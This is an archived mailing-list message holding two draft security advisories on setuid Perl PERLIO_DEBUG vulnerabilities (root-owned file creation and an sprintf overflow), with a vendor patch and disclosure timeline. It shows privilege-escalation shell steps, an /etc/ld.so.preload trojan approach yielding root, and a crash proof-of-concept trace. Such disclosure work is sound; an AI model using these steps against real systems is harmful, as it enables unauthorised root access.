I am going to try to verify the patch fixes later tonight... I will let you know how that goes. Attached are my rough draft advisories... any news on how coordination should be handled?

Great... let me know when you figure out how you want to procede with bugtraq posts et all. I am assuming that Mandrake will post on their own as well. If we want to coordinate with them that is ok with me too. My advisory is not yet typed up but that is usually only a matter of an hours worth of work.


-KF
DMA[2005-0131a] - 'Setuid Perl PERLIO_DEBUG root owned file creation'
Author: Kevin Finisterre
Vendor: http://dev.perl.org/
Product: 'Perl 5.8.x - sperl'
References: (CAN-2005-0155)
http://www.digitalmunition.com/DMA[2005-0131a].txt
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0155
https://rt.perl.org/rt3/Ticket/Display.html?id=33990 (guest/guest)

Description: 
Perl is a stable, cross platform programming language. It is used for mission 
critical projects 
in the public and private sectors and is widely used to program web 
applications of all needs.

In the July 18, 2002 one of the highlights for Perl 5.8.0 was a 'New IO 
Implementation' called
PerlIO. The new PerlIO implementation was described as both a portable stdio 
implementation
(at the source code level) and a flexible new framework for richer I/O 
behaviours. 

As an attacker I would definately say that PerlIO has some rich behavior. Two 
vulnerabilities 
were located in the PerlIO package that can allow an attacker to take root on a 
machine that 
makes use of setuid perl aka sperl. The first vulnerability will be outlined in 
this document, 
and details on the second vulnerability will be explained in DMA[2005-0131b].

Perl provides debug access to PerlIO via an environment variable known as 
PERLIO_DEBUG. The perl
documentaion tells us that if PERLIO_DEBUG is set to the name of a file or 
device then certain 
operations of PerlIO sub-system will be logged to that file in append mode. If 
the file does not
exist then it will be created. This vulnerability really does not present 
itself unless perl is 
installed with setuid support on the machine in question. If setuid is enabled 
an attacker has
the opportunity to arbitrarily create root owned files. With a little help from 
umask() files can
be created with root ownership AND world writable permissions. This behavior 
can also be exploited 
via setuid helper or wrapper scripts that call perl scripts. 

[EMAIL PROTECTED]:~$ ls -al /usr/bin/sperl5.8.4
-rwsr-xr-x  1 root root 63808 2004-12-11 18:32 /usr/bin/sperl5.8.4
[EMAIL PROTECTED]:~$ export PERLIO_DEBUG=/tmp/aaa
[EMAIL PROTECTED]:~$ umask 001
[EMAIL PROTECTED]:~$ /usr/bin/sperl5.8.4
sperl needs fd script
You should not call sperl directly; do you need to change a #! line
from sperl to perl?
[EMAIL PROTECTED]:~$ ls -al /tmp/aaa
-rw-rw-rw-  1 root kfinisterre 1403 2005-01-30 02:34 /tmp/aaa

At this point the game is pretty much over. Since the file is world writable 
the attacker can add
any content he or she desires to the file that was created. Charles Stevenson 
suggested that a file
could be written to /etc/rc.d/init.d which would allow an attacker to control 
the machine upon a 
reboot. I considered a few alternatives like writing to roots crontab or making 
an sshd root
authorized_key file as well as a few others. In my example exploit I took a 
more immediate and risky
route by writing to /etc/ld.so.preload and providing a trojan.so that always 
returns 0 for getuid(). 

[EMAIL PROTECTED]:~$ cc -o ex_perl ex_perl.c
[EMAIL PROTECTED]:~$ ls -al /etc/ld.so.preload
ls: /etc/ld.so.preload: No such file or directory
[EMAIL PROTECTED]:~$ ./ex_perl
sperl needs fd script
You should not call sperl directly; do you need to change a #! line
from sperl to perl?
[EMAIL PROTECTED]:~$ su -
jdam:~# id
uid=0(root) gid=0(root) groups=0(root)
jdam:~# rm /etc/ld.so.preload

The following patch for this bug was provided by Mandrake care of the 
vendor-sec list. This patch 
also fixes the bug that is described in DMA[2005-0131b].

Index: perlio.c
===================================================================
--- perlio.c    (revision 4342)
+++ perlio.c    (revision 4346)
@@ -454,7 +454,7 @@
     va_list ap;
     dSYS;
     va_start(ap, fmt);
-    if (!dbg) {
+    if (!dbg && !PL_tainting && PL_uid == PL_euid && PL_gid == PL_egid) {
        char *s = PerlEnv_getenv("PERLIO_DEBUG");
        if (s && *s)
            dbg = PerlLIO_open3(s, O_WRONLY | O_CREAT | O_APPEND, 0666);
@@ -471,7 +471,7 @@
        s = CopFILE(PL_curcop);
        if (!s)
            s = "(none)";
-       sprintf(buffer, "%s:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
+       sprintf(buffer, "%.40s:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
        len = strlen(buffer);
        vsprintf(buffer+len, fmt, ap);
        PerlLIO_write(dbg, buffer, strlen(buffer));


This is timeline associated with this bug. 

01/30/2005 09:29 AM - Mail to larry wall, perlbug, vendor-sec et all 
01/31/2005 04:25 AM - Rafael Garcia-Suarez disabed PERLIO_DEBUG in sperl
01/31/2005 08:31 AM - perl #33990] [RESOLVED] 
01/31/2005 11:15 AM - perl-5.8.6-bug33990.patch passed on from Mandrake cvs

-KF


DMA[2005-0131b] - 'Setuid Perl PERLIO_DEBUG buffer overflow'
Author: Kevin Finisterre
Vendor: http://dev.perl.org/
Product: 'Perl 5.8.x - sperl'
References: (CAN-2005-0155)
http://www.digitalmunition.com/DMA[2005-0131b].txt
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0155
https://rt.perl.org/rt3/Ticket/Display.html?id=33990 (guest/guest)

Description: 
Perl is a stable, cross platform programming language. It is used for mission 
critical projects 
in the public and private sectors and is widely used to program web 
applications of all needs.

In the July 18, 2002 one of the highlights for Perl 5.8.0 was a 'New IO 
Implementation' called
PerlIO. The new PerlIO implementation was described as both a portable stdio 
implementation
(at the source code level) and a flexible new framework for richer I/O 
behaviours. 

As an attacker I would definately say that PerlIO has some rich behavior. Two 
vulnerabilities 
were located in the PerlIO package that can allow an attacker to take root on a 
machine that 
makes use of setuid perl aka sperl. The first vulnerability was be outlined in 
DMA[2005-0131a], 
details on the second vulnerability will be explained below.

Perl provides debug access to PerlIO via an environment variable known as 
PERLIO_DEBUG. The perl
documentaion tells us that if PERLIO_DEBUG is set to the name of a file or 
device then certain 
operations of PerlIO sub-system will be logged to that file in append mode. 
When the data is 
logged to the file specified by PERLIO_DEBUG the path of the perl script is 
also logged. If perl
is called all by itself the path should show up as "-". If however the a perl 
script is run, its 
full path then the entire path will be logged. The following sample run 
demonstrates the logging 
functionality. 

[EMAIL PROTECTED]:/tmp$ cat > test.pl
#!/usr/bin/sperl5.8.4
print "test\n";
^C
[EMAIL PROTECTED]:/tmp$ chmod +x test.pl
[EMAIL PROTECTED]:/tmp$ export PERLIO_DEBUG=/tmp/test
[EMAIL PROTECTED]:/tmp$ ./test.pl
sperl needs fd script
You should not call sperl directly; do you need to change a #! line
from sperl to perl?
[EMAIL PROTECTED]:/tmp$ cat /tmp/test
./test.pl:0 define unix 0x4013a5e0
./test.pl:0 define raw 0x4013a560
./test.pl:0 define perlio 0x4013a6e0
./test.pl:0 define stdio 0x4013a660
./test.pl:0 define crlf 0x4013a7e0
./test.pl:0 define mmap 0x4013a860
./test.pl:0 define utf8 0x4013a460
./test.pl:0 define pop 0x4013a3e0
./test.pl:0 define bytes 0x4013a4e0
./test.pl:0 unix => 0x4013a5e0
./test.pl:0 Pushing perlio
./test.pl:0 perlio => 0x4013a6e0
./test.pl:0 Layer 1 is perlio
./test.pl:0 openn(perlio,'(null)','Ir',0,0,0,(nil),0,(nil))
...

The function responsible for logging the PerlIO data contains an unbounded call 
to sprintf()
as you can see below. 

in perlio.c:

   if (dbg > 0) {
        dTHX;
#ifdef USE_ITHREADS
        /* Use fixed buffer as sv_catpvf etc. needs SVs */
        char buffer[1024];
        char *s;
        STRLEN len;
        s = CopFILE(PL_curcop);
        if (!s)
            s = "(none)";
        sprintf(buffer, "%s:%" IVdf " ", s, (IV) CopLINE(PL_curcop));

We can trigger this vulnerability by placing a perl script in a very long 
directory tree and 
simply executing it after we have defined PERLIO_DEBUG. ex_perl2.c simulates 
this behavior. 

[EMAIL PROTECTED]:~$ cc -o ex_perl2 ex_perl2.c -std=c99
ex_perl2.c: In function `main':
ex_perl2.c:67: warning: implicit declaration of function `putenv'
[EMAIL PROTECTED]:~$ ltrace -f ./ex_perl2
__libc_start_main(0x8048654, 1, 0xbffff944, 0x8048860, 0x80488c0 <unfinished 
...>
chdir("/tmp/")     
mkdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 0777) 
chdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)     
mkdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 0777)
chdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) 
mkdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 0777) 
chdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)
memset(0xbfffd0c0, 'B', 201) 
strcat("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"..., "/")  
mkdir("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"..., 0777)
chdir("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"...)
printf("Dirlen: %d\n", 974Dirlen: 974)
fopen("take_me.pl", "w+")  
fwrite("#!/usr/bin/sperl5.8.4\n# \n# Be pr"..., 186, 1, 0x8049d70)   
fclose(0x8049d70)
getcwd(0xbfffd1c0, 10000)
strcat("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "/")
strcat("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "take_me.pl")
printf("running: %s\n", "/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"...) 
chmod("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 0755)  
putenv(0x8048bca, 493, 1, 0x8049d70, 0x752f2123)
system("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"... <unfinished ...>
...
Perl_croak(0x8057b68, 0x8056480, 0, 0, 1 <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

It appears as if this vulnerability could be exploited to gain root privileges 
on the machine in 
question. The PoC code currently only triggers the SEGV... the proper stack 
ninja has not yet 
been executed in order to take full blown root. 

The following patch for this bug was provided by Mandrake care of the 
vendor-sec list. This patch 
also fixes the bug that is described in DMA[2005-0131a].

Index: perlio.c
===================================================================
--- perlio.c    (revision 4342)
+++ perlio.c    (revision 4346)
@@ -454,7 +454,7 @@
     va_list ap;
     dSYS;
     va_start(ap, fmt);
-    if (!dbg) {
+    if (!dbg && !PL_tainting && PL_uid == PL_euid && PL_gid == PL_egid) {
        char *s = PerlEnv_getenv("PERLIO_DEBUG");
        if (s && *s)
            dbg = PerlLIO_open3(s, O_WRONLY | O_CREAT | O_APPEND, 0666);
@@ -471,7 +471,7 @@
        s = CopFILE(PL_curcop);
        if (!s)
            s = "(none)";
-       sprintf(buffer, "%s:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
+       sprintf(buffer, "%.40s:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
        len = strlen(buffer);
        vsprintf(buffer+len, fmt, ap);
        PerlLIO_write(dbg, buffer, strlen(buffer));


This is timeline associated with this bug. 

01/30/2005 09:29 AM - Mail to larry wall, perlbug, vendor-sec et all 
01/31/2005 04:25 AM - Rafael Garcia-Suarez disabed PERLIO_DEBUG in sperl
01/31/2005 08:31 AM - perl #33990] [RESOLVED] 
01/31/2005 11:15 AM - perl-5.8.6-bug33990.patch passed on from Mandrake cvs

-KF


Reply via email to